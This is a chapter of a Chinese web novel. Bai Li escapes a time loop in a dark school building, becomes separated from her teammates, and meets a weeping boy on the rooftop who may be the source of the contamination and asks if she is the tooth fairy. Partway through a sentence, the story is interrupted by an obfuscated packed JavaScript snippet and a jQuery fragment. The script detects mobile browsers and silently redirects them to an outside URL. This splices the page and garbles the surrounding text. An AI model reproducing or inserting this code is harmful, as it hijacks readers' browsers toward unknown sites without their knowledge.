白砾迅速把掌心的玻璃碎片按进裤兜里,如果这次又失败了,这些碎片就能提醒下一次循环的自己。
万一真要重来,她又得再摸一遍那具倒吊的尸体,白砾绝望地想到。
……
白砾等人进入教学楼的瞬间,一片漆黑。四人慌乱了几秒迅速冷静下来。
白砾的战术手电亮了又关,又掏出警棍试了试,任何照明工具在这里都失灵了。
白砾低声说道:“大家都拽着前面一个人的衣角,拽好了之后报数。”
“1。”
“2。”
“3。”
一行人在黑暗里摸索着前进,她摸到了被倒吊的研究员。
白砾绕开尸体又往前摸索,她感觉自己踩到了什么硬物,是一片玻璃碎片。
……
“这是第五片!”白砾感觉自己如陷冰窟,她的掌心盛满了泛着凉意的碎片。
她咬着牙一字一顿地开口,声音里裹着破釜沉舟:“我们大概率陷进循环了,这已经是第五次。无论如何,这次必须出去。”
“得搞清楚前四次为什么失败,得避开让我们重新循环的锚点。”白砾语速飞快,目光在黑暗里扫过队友的方向。
“可我们没有前四次的记忆啊,怎么找?”王虎颤巍巍的说道。
“在之前的四次循环里,我们不可能没想着给下一次循环的我们留些线索,可我们现在并没有在场景内发现任何信息,说明这里的场景会随着循环而更新。”苏燕语速极快地接话。
“所以你才能不断地拿走那块玻璃!”
“有道理!”白砾的大脑像被按下快进键,思路突然清晰。
“如果没记忆、留不下线索,那每次循环对我们来说都是‘第一次’,我们甚至可能连应对危险的反应、做的决策,都可能一模一样。”
第六感在耳边尖啸:快,再快一点!
白砾眼前猛地一亮,抓着关键:“如果前几次,我们第一反应做出决策都是错的,那这次……我们试着做相反的决定。”
苏燕刚要应声,突然浑身一僵。黑暗里的风变了,不再是凝滞的寒气,而是裹挟着什么东西正快速涌来。
明明什么都看不见,却能清晰觉出那股无形的、压得人喘不过气的威慑力。
白砾和苏燕几乎同时绷紧身体,手条件反射地摸向腰间的枪,“咔嚓”两声,是子弹上膛的响声。
可这声音刚落,两人都猛地回神,话几乎撞在一起:
“要做相反的决定!”
“别开枪!”
白砾强行压下危险来临时最直接的抵御欲,低声说道:“不要攻击,都别动手!”
话音刚落,那股风已经卷到了她身前。
白砾只觉那东西像流动的雾,又像细碎的雨,更像奔涌的暗流,裹着磅礴到让她窒息的力量。
她全身肌肉瞬间绷紧,逼得她好几次想重新掏枪。
当极致的危险降临的那一刻,人通常会下意识地进行抵御与攻击。
白砾在心里疯狂嘶吼,“相反的决定”五个字死死钉在脑子里:不能攻击,不能攻击。她攥紧了拳头,同时暗自祈祷队友能忍住本能。
下一秒,有冰凉的触感擦过脸颊,像蟒蛇吐着信子狠狠地缠绕住了她!
紧接着,无数道相似的触感缠上来,裹住她的胳膊、腰腹。
最后她像被巨浪拍进深海,无尽的深渊裹住她,连呼救都发不出声。
不知过了多久,就在白砾觉得肺里的空气快要耗尽时,那股压力突然消失了。
她猛地回神,身子晃了晃,扶着旁边的墙大口大口地喘气,眼前的黑暗也一点点褪去,透出模糊的光亮。
终于……打破了循环!
白砾心头刚涌起狂喜,眼睛还没完全适应光亮。视线扫过空荡荡的实验室时,笑意瞬间僵在脸上,这是一间空荡荡的实验室,倒吊的尸体没了。
小猫、苏燕、王虎,也全都不见了!
白砾焦急地在频道里喊了好几声,都没有任何回应。
难道……她们没忍住攻击了?只有她跳出循环,队友还困在里面?白砾心一沉,忙摸向口袋。之前用来留线索的玻璃碎片,已经空空如也。
她推开实验室的门,把这一层都找了个遍,连角落都没放过,也没有看到她们的身影。
“只能先往上探了。”
只要能搞定这污染域,队友就能出来。她掏出警棍,按向握柄上的压力键,可警棍却没半点反应,静悄悄地维持着短棍形态。
她又摸出枪,拉开弹匣的瞬间皱紧了眉,夹套钢制箭形的子弹全都变了形,弹头歪扭着贴在一起,根本没法上膛。
她索性把身上的设备全掏出来检查:手环黑屏,域内检测仪的指针纹丝不动。
白砾无奈地捏着那截收缩的警棍,心里默默祈祷:希望等会没有打戏。
她沿着楼梯往上走,一楼、二楼、三楼、四楼……每间实验室都是空的,连张桌子都没有,安静得只能听见自己的脚步声。
直到爬到六楼的转角,她的目光突然顿住,台阶上,放着一本熟悉的书。
是图书馆里那本空心书。
白砾弯腰把书捡起来,这是一本再普通不过的书,封面正中央印着《联邦常见动物科普大全》,边角甚至还带着点轻微的磨损,像被人反复翻阅过似的。
她打开后掉落出一张卡片,落在台阶上发出轻响。
是张书签。
白砾把书签捡起来,是用蜡笔写的,歪歪扭扭的,写着“牙齿仙女的礼物”。
她翻开空心书,里面还是那堆白白的乳牙,小小的,反射出温润的光。
白砾将书收起来,俯下身静悄悄地往上爬,心中悄然升起警惕,这是教学楼的最后一层了,天台。
白砾透过虚掩的门缝往外望,洁白的墙壁上蓝天缀着几缕薄云,这景象太干净了,正常到让她恍惚,竟生出一种已经逃出污染域的错觉。
她轻轻推开门,刚踏上天台的水泥地,目光就骤然顿住。
天台边缘的窄墙上,正坐着个少年,后背对着她,校服衣角被风掀
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16461103|185418||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得轻轻晃。
身为联邦军人的本能瞬间压过了警惕,白砾几乎是脱口而出,“不想死就给我下来!”
少年闻声,缓缓转过头。长长的睫毛垂着,清晨的阳光恰好落在他脸上,白皙的皮肤透着点薄红,细软的发丝被风拂得贴在额角,整个人干净得像刚从画里走出来。
只有凑近,才能看清少年脸上、身上那抹异样的白,从颚边缘蔓延到脸颊,是淡得发透的纹路。
像极了素白瓷瓶上的冰裂纹,令人觉得这具身体下一秒就会分崩离析。
少年从窄墙上站起身,校服空荡荡的,挂在他身上,衬得四肢愈发纤细。
他没有说话,只是静静看着白砾。
白砾试图把自己带入这个场景,使自己的行为规范符合逻辑,况且眼前这孩子看着不过十二三岁,她斟酌着开口,“上面真的很危险,听姐姐的话,先下来好不好?”
“我没有保护好他们。”少年的声音轻轻的,还带着点没压下去的哽咽。
他们指的是谁?
白砾思索了一下,试探的说道:“他们在图书馆,很安全。”
少年低垂着眼睛,神情失落的摇了摇头,“但是,已经太晚了。”
“不,你已经做的很好了。”白砾心里隐约明白了,眼前的男孩恐怕就是污染源了,图书馆的保护规则以及教室里倒掉的尸体,看起来都像是少年的手笔。
可看着他这副柔弱的模样,她还是忍不住放柔了语气。
“真的吗?”男孩猛地抬眼,眼眶已经红了。
“当然是真的。”白砾点头,哪怕知道他是污染源,也没法对这副模样的孩子硬起心肠。
男孩的目光突然往下移,落在白砾的战术腰带上,那本空心书正勒在上面,露出半截封面。
他顿了顿,声音里带着点试探的怯意:“你是牙齿仙女吗?”
白砾心里咯噔一下,她不知道该回答是还是不是?回答错误会带来什么后果?
她犹豫的片刻,男孩又问了一遍,直直望着她,“你是牙齿仙女吗?”
“是……”,白砾的声音略哑,她没法在这样的眼神里说“不是”,那眼神里的希望太纯粹,她同时也做好了战斗的准备。
男孩闻言,突然笑了,那笑容极淡,却瞬间点亮了整张脸,连阳光都仿佛宠爱地裹在他周身。
“牙齿仙女,我想许愿。你能带我走吗?”
“走?走去哪里?”白砾下意识反问,声音里带着点没压下去的错愕。
她的心里却警铃大作,这太荒唐了,污染源只能强制清理,怎么带他走?又能去哪里?
“随便去哪里都好,只要能离开这里,就够了。”少年的声音带着点恳求。
白砾压下心头的乱绪,“我没法带你走”,说完她目光紧盯着男孩的脸,观察着他下一步的反应。
然而令她没想到的是,下一秒,少年大颗大颗的眼泪突然砸下来,像断了线的珍珠,脸上的表情仿佛是被全世界抛弃。
“求求你姐姐,带我走好不好?带我走……”